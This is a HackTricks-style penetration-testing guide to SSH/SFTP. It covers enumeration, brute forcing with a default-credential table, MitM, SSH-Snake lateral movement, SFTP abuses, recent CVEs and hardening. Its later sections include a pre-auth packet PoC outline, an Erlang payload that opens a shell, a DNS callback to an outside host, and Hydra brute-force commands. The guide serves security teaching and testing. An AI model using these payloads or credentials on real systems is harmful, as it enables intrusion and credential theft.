pentesting-ssh.md (27798B)
1 --- 2 title: "22 - Pentesting SSH/SFTP" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-ssh.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-ssh.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # 22 - Pentesting SSH/SFTP 14 15 ## Basic information 16 17 **SSH (Secure Shell or Secure Socket Shell)** is a network protocol that enables a secure connection to a computer over an unsecured network. It is essential for maintaining the confidentiality and integrity of data when accessing remote systems. 18 19 **Default port:** 22 20 21 ```text 22 22/tcp open ssh syn-ack 23 ``` 24 25 **SSH servers:** 26 27 - [OpenSSH](https://www.openssh.com) – OpenBSD's SSH implementation, shipped in BSD and Linux distributions and available in Windows since Windows 10 28 - [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – SSH implementation for environments with low memory and processor resources, shipped in OpenWrt 29 - [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – SSH implementation for Windows, the client is commonly used but the use of the server is rarer 30 - [CopSSH](https://www.itefix.net/copssh) – implementation of OpenSSH for Windows 31 32 **SSH libraries (implementing server-side):** 33 34 - [libssh](https://www.libssh.org) – multiplatform C library implementing the SSHv2 protocol with bindings in [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) and [R](https://github.com/ropensci/ssh); it’s used by KDE for sftp and by GitHub for the git SSH infrastructure 35 - [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – SSHv2 server library written in ANSI C and targeted for embedded, RTOS, and resource-constrained environments 36 - [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – Apache SSHD java library is based on Apache MINA 37 - [paramiko](https://github.com/paramiko/paramiko) – Python SSHv2 protocol library 38 39 ## Enumeration 40 41 ### Banner Grabbing 42 43 ```bash 44 nc -vn <IP> 22 45 ``` 46 47 ### Automated ssh-audit 48 49 `ssh-audit` is a tool for auditing SSH server and client configurations.<sup>[[6]](#references)</sup> 50 51 [https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) is an updated fork from [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/) 52 53 **Features:** 54 55 - SSH1 and SSH2 protocol server support; 56 - analyze SSH client configuration; 57 - grab banner, recognize device or software and operating system, detect compression; 58 - gather key-exchange, host-key, encryption and message authentication code algorithms; 59 - output algorithm information (available since, removed/disabled, unsafe/weak/legacy, etc); 60 - output algorithm recommendations (append or remove based on recognized software version); 61 - output security information (related issues, assigned CVE list, etc); 62 - analyze SSH version compatibility based on algorithm information; 63 - historical information from OpenSSH, Dropbear SSH and libssh; 64 - runs on Linux and Windows; 65 - no dependencies 66 67 ```bash 68 usage: ssh-audit.py [-1246pbcnjvlt] <host> 69 70 -1, --ssh1 force ssh version 1 only 71 -2, --ssh2 force ssh version 2 only 72 -4, --ipv4 enable IPv4 (order of precedence) 73 -6, --ipv6 enable IPv6 (order of precedence) 74 -p, --port=<port> port to connect 75 -b, --batch batch output 76 -c, --client-audit starts a server on port 2222 to audit client 77 software config (use -p to change port; 78 use -t to change timeout) 79 -n, --no-colors disable colors 80 -j, --json JSON output 81 -v, --verbose verbose output 82 -l, --level=<level> minimum output level (info|warn|fail) 83 -t, --timeout=<secs> timeout (in seconds) for connection and reading 84 (default: 5) 85 $ python3 ssh-audit <IP> 86 ``` 87 88 [See it in action (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp) 89 90 ### Public SSH key of server 91 92 ```bash 93 ssh-keyscan -t rsa <IP> -p <PORT> 94 ``` 95 96 ### Weak Cipher Algorithms 97 98 Nmap's SSH scripts and `ssh-audit` can identify weak SSH algorithms. TLS-specific tools such as `sslscan` and `sslyze` do not audit SSH. 99 100 ### Nmap scripts 101 102 ```bash 103 nmap -p22 <ip> -sC # Send default nmap scripts for SSH 104 nmap -p22 <ip> -sV # Retrieve version 105 nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms 106 nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys 107 nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods 108 ``` 109 110 ### Shodan 111 112 - `ssh` 113 114 ## Brute force usernames, passwords and private keys 115 116 ### Username Enumeration 117 118 In some versions of OpenSSH you can make a timing attack to enumerate users. You can use a metasploit module in order to exploit this: 119 120 ```text 121 msf> use scanner/ssh/ssh_enumusers 122 ``` 123 124 ### [Brute force](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-hacking/brute-force.md#ssh) 125 126 Some common SSH credentials are available [here](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt), [here](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt), and in the table below. 127 128 ### Private Key Brute Force 129 130 If you have candidate SSH private keys, test them with the following Nmap script: 131 132 ```text 133 https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html 134 ``` 135 136 Or the MSF auxiliary module: 137 138 ```text 139 msf> use scanner/ssh/ssh_identify_pubkeys 140 ``` 141 142 Or use `ssh-keybrute.py` (native python3, lightweight and has legacy algorithms enabled): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). 143 144 #### Known badkeys can be found here: 145 146 147 [Authorized](https%3A//github.com/rapid7/ssh-badkeys/tree/master/authorized) 148 149 #### Weak SSH keys / Debian predictable PRNG 150 151 Some systems have known flaws in the random seed used to generate cryptographic material. This can dramatically reduce the keyspace and make brute force feasible. Pre-generated keys from Debian systems affected by the weak PRNG are available in [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). 152 153 You should look here in order to search for valid keys for the victim machine. 154 155 ### Kerberos / GSSAPI SSO 156 157 If the target SSH server supports GSSAPI (for example Windows OpenSSH on a domain controller), you can authenticate using your Kerberos TGT instead of a password.<sup>[[3]](#references)</sup> 158 159 Workflow from a Linux attacker host:<sup>[[3]](#references)</sup> 160 161 ```bash 162 # 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW 163 sudo ntpdate <dc.fqdn> 164 165 # 2) Generate a krb5.conf for the target realm (optional, but handy) 166 netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf 167 sudo cp krb5.conf /etc/krb5.conf 168 169 # 3) Obtain a TGT for the user 170 kinit <user> 171 klist 172 173 # 4) SSH with GSSAPI, using the FQDN that matches the host SPN 174 ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn> 175 ``` 176 177 Notes: 178 - If you connect to the wrong name (e.g., short host, alias, or wrong order in `/etc/hosts`), you may get: "Server not found in Kerberos database" because the SPN does not match.<sup>[[3]](#references)[[7]](#references)</sup> 179 - `crackmapexec ssh --kerberos` can also use your ccache for Kerberos auth. 180 181 ## Default Credentials 182 183 | **Vendor** | **Usernames** | **Passwords** | 184 | ---------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | 185 | APC | apc, device | apc | 186 | Brocade | admin | admin123, password, brocade, fibranne | 187 | Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme | 188 | Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler | 189 | D-Link | admin, user | private, admin, user | 190 | Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin | 191 | EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc | 192 | HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin | 193 | Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 | 194 | IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer | 195 | Juniper | netscreen | netscreen | 196 | NetApp | admin | netapp123 | 197 | Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle | 198 | VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default | 199 200 ## SSH-MitM 201 202 If you are in the local network as the victim which is going to connect to the SSH server using username and password you could try to **perform a MitM attack to steal those credentials:** 203 204 **Attack path:** 205 206 - **Traffic Redirection:** The attacker **diverts** the victim's traffic to their machine, effectively **intercepting** the connection attempt to the SSH server. 207 - **Interception and Logging:** The attacker's machine acts as a **proxy**, **capturing** the user's login details by pretending to be the legitimate SSH server. 208 - **Command Execution and Relay:** Finally, the attacker's server **logs the user's credentials**, **forwards the commands** to the real SSH server, **executes** them, and **sends the results back** to the user, making the process appear seamless and legitimate. 209 210 [**SSH MITM**](https://github.com/jtesta/ssh-mitm) does exactly what is described above. 211 212 To perform the man-in-the-middle attack, use techniques such as ARP or DNS spoofing, as described under [**network spoofing attacks**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing). 213 214 ## SSH-Snake 215 216 If you want to traverse a network using discovered SSH private keys on systems, utilizing each private key on each system for new hosts, then [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) is what you need. 217 218 SSH-Snake performs the following tasks automatically and recursively: 219 220 1. On the current system, find any SSH private keys, 221 2. On the current system, find any hosts or destinations (user@host) that the private keys may be accepted, 222 3. Attempt to SSH into all of the destinations using all of the private keys discovered, 223 4. If a destination is successfully connected to, repeats steps #1 - #4 on the connected-to system. 224 225 It is self-replicating, self-propagating, and fileless. 226 227 ## Configuration weaknesses 228 229 ### Root login 230 231 OpenSSH currently defaults `PermitRootLogin` to `prohibit-password`, which still allows root login with public-key authentication. Setting it to `no` disables direct root login entirely and reduces the impact of stolen root credentials or keys.<sup>[[8]](#references)</sup> 232 233 **To Disable Root Login in OpenSSH:** 234 235 1. **Edit the SSH server configuration:** `sudoedit /etc/ssh/sshd_config`. 236 2. **Set** `PermitRootLogin no`. 237 3. **Validate the configuration:** `sudo sshd -t`. 238 4. **Reload SSH without dropping established sessions:** `sudo systemctl reload sshd` (the unit may be named `ssh` on some distributions). 239 240 ### SFTP Brute Force 241 242 - [**SFTP Brute Force**](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-hacking/brute-force.md#sftp) 243 244 ### SFTP command execution 245 246 A common oversight occurs in SFTP setups where administrators intend to permit file exchange without enabling remote shell access. Merely assigning a non-interactive shell such as `/usr/bin/nologin` does not replace SSH-level authorization. If the server configuration still accepts session commands, a user may request a command such as `/bin/bash`. Enforce the restriction with `ForceCommand internal-sftp` and disable forwarding and TTY allocation as shown below.<sup>[[2]](#references)</sup> 247 248 [Example from here](https://community.turgensec.com/ssh-hacking-guide/):<sup>[[2]](#references)</sup> 249 250 ```bash 251 ssh -v noraj@192.168.1.94 id 252 ... 253 Password: 254 debug1: Authentication succeeded (keyboard-interactive). 255 Authenticated to 192.168.1.94 ([192.168.1.94]:22). 256 debug1: channel 0: new [client-session] 257 debug1: Requesting no-more-sessions@openssh.com 258 debug1: Entering interactive session. 259 debug1: pledge: network 260 debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0 261 debug1: Sending command: id 262 debug1: client_input_channel_req: channel 0 rtype exit-status reply 0 263 debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0 264 uid=1000(noraj) gid=100(users) groups=100(users) 265 debug1: channel 0: free: client-session, nchannels 1 266 Transferred: sent 2412, received 2480 bytes, in 0.1 seconds 267 Bytes per second: sent 43133.4, received 44349.5 268 debug1: Exit status 0 269 270 $ ssh noraj@192.168.1.94 /bin/bash 271 ``` 272 273 Here is an example of a secure OpenSSH SFTP configuration (`/etc/ssh/sshd_config`) for the user `noraj`:<sup>[[2]](#references)</sup> 274 275 ```text 276 Match User noraj 277 ChrootDirectory %h 278 ForceCommand internal-sftp 279 AllowTcpForwarding no 280 PermitTunnel no 281 X11Forwarding no 282 PermitTTY no 283 ``` 284 285 This configuration will allow only SFTP: disabling shell access by forcing the start command and disabling TTY access but also disabling all kind of port forwarding or tunneling. 286 287 ### SFTP Tunneling 288 289 If you have access to a SFTP server you can also tunnel your traffic through this for example using the common port forwarding: 290 291 ```bash 292 sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised> 293 ``` 294 295 ### SFTP Symlink 296 297 SFTP supports the **`symlink`** command. With write access to a directory, you may be able to create symbolic links to other files or directories. A chrooted SFTP process normally cannot follow a link outside its root, but another non-chrooted service that exposes the same filesystem path (for example, a web server) may resolve the link in its own namespace and disclose the target. 298 299 For example, to create a **symlink** from a new file **"**_**froot**_**" to "**_**/**_**"**: 300 301 ```bash 302 sftp> symlink / froot 303 ``` 304 305 If you can access the file "_froot_" via web, you will be able to list the root ("/") folder of the system. 306 307 ### Authentication methods 308 309 In high-security environments, it is common to require key-based or multi-factor authentication instead of password-only authentication. However, administrators sometimes enable a stronger method without disabling weaker ones. For example, an OpenSSH server may offer `publickey` first while still accepting `password`. An assessor can identify all offered methods with verbose client output: 310 311 ```bash 312 ssh -v 192.168.1.94 313 OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019 314 ... 315 debug1: Authentications that can continue: publickey,password,keyboard-interactive 316 ``` 317 318 For example if an authentication failure limit is set and you never get the chance to reach the password method, you can use the `PreferredAuthentications` option to force to use this method. 319 320 ```bash 321 ssh -v 192.168.1.94 -o PreferredAuthentications=password 322 ... 323 debug1: Next authentication method: password 324 ``` 325 326 Review the SSH server configuration to ensure that only the expected authentication methods are authorized. Verbose client output helps verify the effective configuration. 327 328 ### Config files 329 330 ```bash 331 ssh_config 332 sshd_config 333 authorized_keys 334 ssh_known_hosts 335 known_hosts 336 id_rsa 337 ``` 338 339 ## Fuzzing 340 341 - [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt) 342 - [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2) 343 344 ## Recent Critical Vulnerabilities (2024) 345 346 ### CVE-2024-6387 – regreSSHion signal-handler race 347 348 OpenSSH 8.5p1–9.7p1 removed the async-safe logging guard inside sshd’s `SIGALRM` handler, reintroducing CVE-2006-5051 and letting unauthenticated attackers corrupt the glibc heap as soon as `LoginGraceTime` expires. Qualys weaponized the bug for root RCE on 32-bit Linux and noted that 64-bit targets remain brute-forceable with enough grooming attempts, so prioritize hosts that still disclose those versions during banner grabs.<sup>[[4]](#references)</sup> 349 350 Exploitation is timing-based: hammer the daemon with half-open sessions that never authenticate so the privileged monitor repeatedly hits the vulnerable signal path while you shape allocator state.<sup>[[4]](#references)</sup> 351 352 Operator tips:<sup>[[4]](#references)</sup> 353 354 - Capture the remote banner with `nc -nv <target> 22` or `ssh -vv <target>`; then confirm the installed package build and effective `LoginGraceTime` locally or through authenticated configuration review. 355 - Pressure-test a lab target by spamming short-lived sessions that request no authentication, for example: 356 ```bash 357 parallel -j200 "timeout 3 ssh -o PreferredAuthentications=none -o ConnectTimeout=2 attacker@${TARGET}" ::: {1..4000} 358 ``` 359 - Hosts that force `LoginGraceTime 0` never touch the buggy code path—expect only a DoS angle by exhausting `MaxStartups`. 360 361 ### CVE-2024-3094 – xz/liblzma supply-chain backdoor 362 363 XZ Utils 5.6.0 and 5.6.1 shipped trojanized release tarballs whose build scripts unpack a hidden object during Debian/RPM packaging on x86-64 Linux. The payload abuses glibc’s `IFUNC` resolver to hook `RSA_public_decrypt` in sshd (when systemd patches compel liblzma to load) and accepts attacker-signed packets for pre-auth code execution.<sup>[[5]](#references)</sup> 364 365 Because the malicious logic lives only inside those packaged binaries, offensive validation must inspect what the victim actually installed: check `xz --version`, `rpm -qi xz`/`dpkg -l xz-utils`, compare hashes of `/usr/lib*/liblzma.so*`, and inspect `ldd /usr/sbin/sshd | grep -E "systemd|lzma"` to see whether sshd even pulls the compromised dependency. The hook stays dormant unless the process path is `/usr/sbin/sshd`, so recreating the distro build environment is often required to reproduce the backdoor in a lab.<sup>[[5]](#references)</sup> 366 367 ## Authentication State-Machine Bypass (Pre-Auth RCE) 368 369 Several SSH server implementations contain logic flaws in the **authentication finite-state machine** that allow a client to send *connection-protocol* messages **before** authentication has finished. Because the server fails to verify that it is in the correct state, those messages are handled as if the user were fully authenticated, leading to **unauthenticated code execution** or session creation. 370 371 At a protocol level any SSH message with a _message code_ **≥ 80** (0x50) belongs to the *connection* layer (RFC 4254) and must **only be accepted after successful authentication** (RFC 4252). If the server processes one of those messages while still in the *SSH_AUTHENTICATION* state, the attacker can immediately create a channel and request actions such as command execution, port-forwarding, etc.<sup>[[1]](#references)</sup> 372 373 ### Generic exploitation steps 374 1. Establish a TCP connection to the target’s SSH port (commonly 22, but other services may expose Erlang/OTP on 2022, 830, 2222…). 375 2. Craft a raw SSH packet: 376 * 4-byte **packet_length** (big-endian) 377 * 1-byte **message_code** ≥ 80 (e.g. `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98) 378 * Payload that will be understood by the chosen message type 379 3. Send the packet(s) **before completing any authentication step**. 380 4. Interact with the server APIs that are now exposed _pre-auth_ (command execution, port forwarding, file-system access, …). 381 382 Python proof-of-concept outline: 383 ```python 384 import socket, struct 385 HOST, PORT = '10.10.10.10', 22 386 s = socket.create_connection((HOST, PORT)) 387 # skip version exchange for brevity – send your own client banner then read server banner 388 # … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner 389 # Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90) 390 pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90 391 s.sendall(pkt) 392 # additional CHANNEL_REQUEST packets can follow to run commands 393 ``` 394 In practice you will need to perform (or skip) the key-exchange according to the target implementation, but **no authentication** is ever performed. 395 396 --- 397 ### Erlang/OTP `sshd` (CVE-2025-32433) 398 * **Affected versions:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20 399 * **Root cause:** the Erlang native SSH daemon does not validate the current state before invoking `ssh_connection:handle_msg/2`. Therefore any packet with a message code 80-255 reaches the connection handler while the session is still in the *userauth* state. 400 * **Impact:** unauthenticated **remote code execution** (the daemon usually runs as **root** on embedded/OT devices).<sup>[[1]](#references)</sup> 401 402 Example payload that spawns a reverse shell bound to the attacker-controlled channel:<sup>[[1]](#references)</sup> 403 ```text 404 % open a channel first … then: 405 execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}])."). 406 ``` 407 Blind RCE / out-of-band detection can be performed via DNS:<sup>[[1]](#references)</sup> 408 ```text 409 execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession 410 ``` 411 412 Detection & Mitigation:<sup>[[1]](#references)</sup> 413 * Inspect SSH traffic: **drop any packet with message code ≥ 80 observed before authentication**. 414 * Upgrade Erlang/OTP to **27.3.3 / 26.2.5.11 / 25.3.2.20** or newer. 415 * Restrict exposure of management ports (22/2022/830/2222) – especially on OT equipment. 416 417 --- 418 ### Other Implementations Affected 419 * **libssh** 0.6 – 0.8 (server side) – **CVE-2018-10933** – accepts an unauthenticated `SSH_MSG_USERAUTH_SUCCESS` sent by the client, effectively the inverse logic flaw. 420 421 The common lesson is that any deviation from the RFC-mandated state transitions can be fatal; when reviewing or fuzzing SSH daemons pay particular attention to *state-machine enforcement*. 422 423 424 ## HackTricks Automatic Commands 425 426 ```text 427 Protocol_Name: SSH 428 Port_Number: 22 429 Protocol_Description: Secure Shell Hardening 430 431 Entry_1: 432 Name: Hydra Brute Force 433 Description: Need Username 434 Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh 435 436 Entry_2: 437 Name: consoleless MSF enumeration 438 Description: SSH enumeration without the need to run msfconsole 439 Note: sourced from https://github.com/carlospolop/legion 440 Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit' 441 442 ``` 443 444 ## References 445 446 - [1] [Unit 42 – Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/) 447 - [2] [Turgensec SSH hacking guide](https://community.turgensec.com/ssh-hacking-guide) 448 - [3] [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html) 449 - [4] [Qualys – regreSSHion remote unauthenticated code execution in OpenSSH server](https://blog.qualys.com/vulnerabilities-threat-research/2024/07/01/regresshion-remote-unauthenticated-code-execution-vulnerability-in-openssh-server) 450 - [5] [Snyk – The XZ backdoor (CVE-2024-3094)](https://snyk.io/blog/the-xz-backdoor-cve-2024-3094/) 451 - [6] [SSH hardening guides](https://www.ssh-audit.com/hardening_guides.html) 452 - [7] [Pentesting Kerberos (88) – client setup and troubleshooting](/hacktricks/network-services-pentesting/pentesting-kerberos-88/overview) 453 - [8] [OpenBSD manual – `sshd_config(5)`](https://man.openbsd.org/sshd_config)